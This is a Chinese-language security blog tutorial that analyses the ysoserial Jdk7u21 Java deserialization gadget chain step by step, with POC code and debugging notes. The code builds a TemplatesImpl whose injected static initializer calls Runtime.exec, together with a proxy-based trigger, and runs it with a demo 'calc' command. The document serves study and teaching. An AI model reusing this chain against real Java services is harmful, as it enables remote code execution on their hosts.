0x00 前言
其实该链是想拿到后面再去做分析的,但是学习到Fastjson这个漏洞,又不得不使用到该链。那么在这里就来做一个简单的分析。
在前面分析的利用链中,其实大致都差不多都是基于InvokerTransformer
和TemplatesImpl
这两个类去进行执行命令,而其他的一些利用链也是基于这两个去进行一个变型。从而产生了新的利用链。而在这个Jdk7u21链中也是基于TemplatesImpl
去实现的。
0x01 Jdk7u21链构造分析
先来看一下该利用链的在yso里面给出调用链
LinkedHashSet.readObject()
LinkedHashSet.add()
...
TemplatesImpl.hashCode() (X)
LinkedHashSet.add()
...
Proxy(Templates).hashCode() (X)
AnnotationInvocationHandler.invoke() (X)
AnnotationInvocationHandler.hashCodeImpl() (X)
String.hashCode() (0)
AnnotationInvocationHandler.memberValueHashCode() (X)
TemplatesImpl.hashCode() (X)
Proxy(Templates).equals()
AnnotationInvocationHandler.invoke()
AnnotationInvocationHandler.equalsImpl()
Method.invoke()
...
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
ClassLoader.defineClass()
Class.newInstance()
...
MaliciousClass.<clinit>()
...
Runtime.exec()
从这里其实可以看到JDK 7u21的这条链相对来说,比前面的链需要的知识量要大一些,分析得也会比较绕。但是其实到了TemplatesImpl.getOutputProperties
这一步其实也是和前面的相同。
本篇文就直接使用yos里面的POC来展开话题。
public Object getObject(final String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
String zeroHashCodeStr = "f5a5a608";
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");
InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
Reflections.setFieldValue(tempHandler, "type", Templates.class);
Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);
LinkedHashSet set = new LinkedHashSet(); // maintain order
set.add(templates);
set.add(proxy);
Reflections.setFieldValue(templates, "_auxClasses", null);
Reflections.setFieldValue(templates, "_class", null);
map.put(zeroHashCodeStr, templates); // swap in real object
return set;
}
因为是第一次写这个yso里面POC的分析文章,所以会写得详细一些。就先从第一行代码看起。
final Object templates = Gadgets.createTemplatesImpl(command);
这里是调用了Gadgets.createTemplatesImpl
这个静态方法,并且传入执行的命令进去。来跟进一下该方法,查看该方法的实现。
这里是返回了他的重载的方法,并且把传入了命令与TemplatesImpl
、AbstractTranslet
、TransformerFactoryImpl
这三个对象。来到他的重载方法中。
在重载方法中对传入的TemplatesImpl
使用反射创建一个实例化对象。再来看下面的一段代码。
这里看到其实和前面CC2链的构造是一样的。使用Javassist
动态创建一个类,并将其中的静态代码块设置为Runtime
执行命令的一段代码,然后将其转换成字节码。可以看到和前面不一样的其实就是这里是使用了insertAfter
,而前面的链中使用的是setBody
去在静态代码块中插入恶意代码。但是效果其实都是一样的。可自行尝试。
对应的POC代码:
ClassPool classPool=ClassPool.getDefault();//返回默认的类池
classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
CtClass payload=classPool.makeClass("CommonsCollections22222222222");//创建一个新的public类
payload.setSuperclass(classPool.get(AbstractTranslet)); //设置前面创建的CommonsCollections22222222222类的父类为AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
再来看下一段代码。
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes, ClassFiles.classAsBytes(Foo.class)
});
// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
这个其实有了前面分析了简易化后的利用链POC的基础后,其实很容易懂,这里其实就是使用了Reflections.setFieldValue
把templates
里面的_bytecodes
设置为前面动态创建的类的字节码。
下面的_name
设置为Pwnr
字符,而_tfactory
设置为TransformerFactoryImpl
由反射创建的实例化对象。
Reflections.setFieldValue
的底层代码也是由反射去实现的。
对应代码如下:
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
field.setAccessible(true);//暴力反射
field.set(templatesImpl,new byte[][]{bytes});
和上面这段代码效果相同,后面设置_name
和_tfactory
也是一样的方式,以此类推。
_name
先来看看这个_name
为什么要设置该值。在前面也分析过该变量设置值的原因,这里再来叙述一遍。
在执行到templatesImpl
的getTransletInstance
方法的时候会先去判断name
的值如果为空,就会直接返回null,不做下面的执行
_bytecodes
这个_bytecodes
前面也分析过。
来看到圈出来的这一段代码,如果_class
为空,就会调用this.defineTransletClasses();
方法。
跟进一下。
在圈出来的这一步就会去调用loader.defineClass
方法然后传入_bytecodes
,前面是使用了反射将恶意类的字节码赋值给_bytecodes
。loader.defineClass
这个方法进行一下跟进。
实际中他的底层是调用了defineClass
类加载器。关于defineClass
类加载器可以将一个字节码进行动态加载。
具体可以看我的Java安全之 ClassLoader类加载器这篇文章。插个题外话,类加载器的调用无非两种方法,要么就是反射去调用,要么就直接继承该类进行重写。
回到刚刚的地方
对_class
赋值完成后,会在该地方调用newInstance
进行实例化。而恶意的类的静态代码块中写入的恶意代码就会进行执行。
_tfactory
看一个大佬的文章说是 在defineTransletClasses()
时会调用getExternalExtensionsMap()
,当为null时会报错,所以要对_tfactory
设值。但是我在查询的时候并未看到getExternalExtensionsMap
方法,而且在yso里面将设置_tfactory
值的代码给注释了一样能正常执行命令。
在我的物理机 8u181的版本中也没有发现。
后来看到大佬的文章中有该方法
根据大佬的解释是可以看到jdk1.8多了个_tfactory.getExternalExtensionsMap()
的处理。我们在jdk1.8的环境下跟踪下程序,发现到这里_tfactory
的值为null,所以执行_tfactory.getExternalExtensionsMap()
函数时会出错,导致程序异常,不能加载_bytecodes的中的类。
下面再回到刚刚的点,来看下一段POC代码
InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
Reflections.setFieldValue(tempHandler, "type", Templates.class);
Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);
查看一下Reflections.getFirstCtor
方法,内部就是使用反射创建一个无参构造的对象
传入的是Gadgets.ANN_INV_HANDLER_CLASS
查看一下该静态方法。
该方法返回的是AnnotationInvocationHandler
字符。也就是创建了一个AnnotationInvocationHandler
的对象,并且调用newInstance
实例化该对象,传入Override.class
,map
。前面说过AnnotationInvocationHandler
这个类是用来处理注解的,前面的参数需要传入一个注解的参数,后面的需要传入一个map类型参数
简单来说就是使用反射创建了一个AnnotationInvocationHandler
的实例。
Reflections.setFieldValue(tempHandler, "type", Templates.class);
这一段代码其实没啥好说的,就是把tempHandler
里面的type
的变量改成Templates.class
Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);
再来看到下一段代码,跟进一下Gadgets.createProxy
方法。
这里面实际上就是使用了Templates
去做动态代理。
对应POC代码:
Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=cls.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler=(InvocationHandler)constructor.newInstance(Override.class,lazyMap);
Templates templates=(Templates)Proxy.newProxyInstance(Templates.class.getClassLoader(),Templates.class.getInterfaces(),invocationHandler);
Object object=constructor.newInstance(Override.class,templates);
接下来就还剩最后一段代码
LinkedHashSet set = new LinkedHashSet(); // maintain order
set.add(templates);
set.add(proxy);
Reflections.setFieldValue(templates, "_auxClasses", null);
Reflections.setFieldValue(templates, "_class", null);
map.put(zeroHashCodeStr, templates); // swap in real object
在下面的代码就很好解释了,实例化一个LinkedHashSet
对象将templates
和proxy
添加进去。
后面的就是将templates
的_class
和_auxClasses
设置为空,前面的分析中提到过,在templatesImpl
中的_class
必须为空才会去执行getTransletInstance
方法。
POC的代码其实也就这么多,因为yso将一些代码做了一个很好的封装,显得代码量也是比较少,但是如果第一次分析利用链就看yso的代码,会比较乱。POC具体为何这么构造会在调试分析中做一个详细的讲解。
0x02 Jdk7u21链调试分析
在该工具里面写一个测试类去获取一下,payload。
public static void main(String[] args) throws Exception {
Object calc = new Jdk7u21().getObject("calc");
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("test.out"));
oos.writeObject(calc);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("test.out"));
Object o = ois.readObject();
}
命令执行成功,接下来来分析一下该利用链调用。
这里使用的是LinkedHashSet.readObject
去作为反序列化的入口点,但是LinkedHashSet
并没有去实现readObject
方法,但是该类继承了HashSet
类,所以这里调用的是HashSet
的readObject
方法。在该方法打一个断点。
该方法在此处调用了,map.put
方法,根据一下该方法。
在这里可以看到调用的是HashMap的put方法,这是为什么呢?查询一下HashSet中的Map成员变量
定义成员变量的时候,该map变量其实就是一个HashMap类的属性。
回到刚才的地方
看到这里执行完后,会跨过for 的代码块,执行下面的代码。因为table值是空的,这里就没法进行遍历。
而后面会使用addEntry
,将这几个值添加进入,hash的值为hash方法处理TemplatesImpl
的值,也就是计算了
TemplatesImpl
的hash值。key为TemplatesImpl
的实例对象,value则是一个空的Object对象,i参数为indexFor
方法处理hash后的结果。
回到这次执行完成,会返回到HashSet的这次循环。
再第二次循环的时候,就会进入到该for循环里面
关键点其实就在这个key.equals
前面说过这个key为TemplatesImpl
的实例,前面做了一个动态代理,这里调用他的equals
就会触发到AnnotationInvocationHandler
的invoke
方法。
这个地方还会去调用equalsImpl
方法,跟进一下该方法。
var8 = var5.invoke(var1);
语句,这里是通过反射调用 var1
对象的 var5
方法。跟踪一下getMemberMethods
方法就知道。
在这里的this.type
是templates
对象,使用getDeclaredMethods
反射获取方法。
在这里可以看到获取到2个方法。在后面还可以看到一个for循环,然后会遍历var2的值。然后下面使用var8 = var5.invoke(var1);
反射去调用,这里传入的var是TemplatesImpl
的实例对象。
这时候就会去调用getOutputProperties
方法,其实到这步已经是很清晰了。因为后面的调用步骤和前面使用TemplatesImpl
构造恶意类的调用时一样的。
getOutputProperties
方法会去调用newTransformer
方法,newTransformer
又会去调用getTransletInstance
方法,
到了后面的就不需要多说了,这里也只是简单描述一下。
参考文章
https://b1ue.cn/archives/176.html
https://xz.aliyun.com/t/6884
https://xz.aliyun.com/t/7236#toc-6
0x03 结尾
其实在该链中还有一些细节点没去做分析,该链的难点我觉得在于比较绕。这也是为什么后面才去分析这条链的原因,不得不说的一个点是能够完整分析这个链的一些细节点都是大佬,需要有较为深厚的代码功底。
发表评论
您还未登录,请先登录。
登录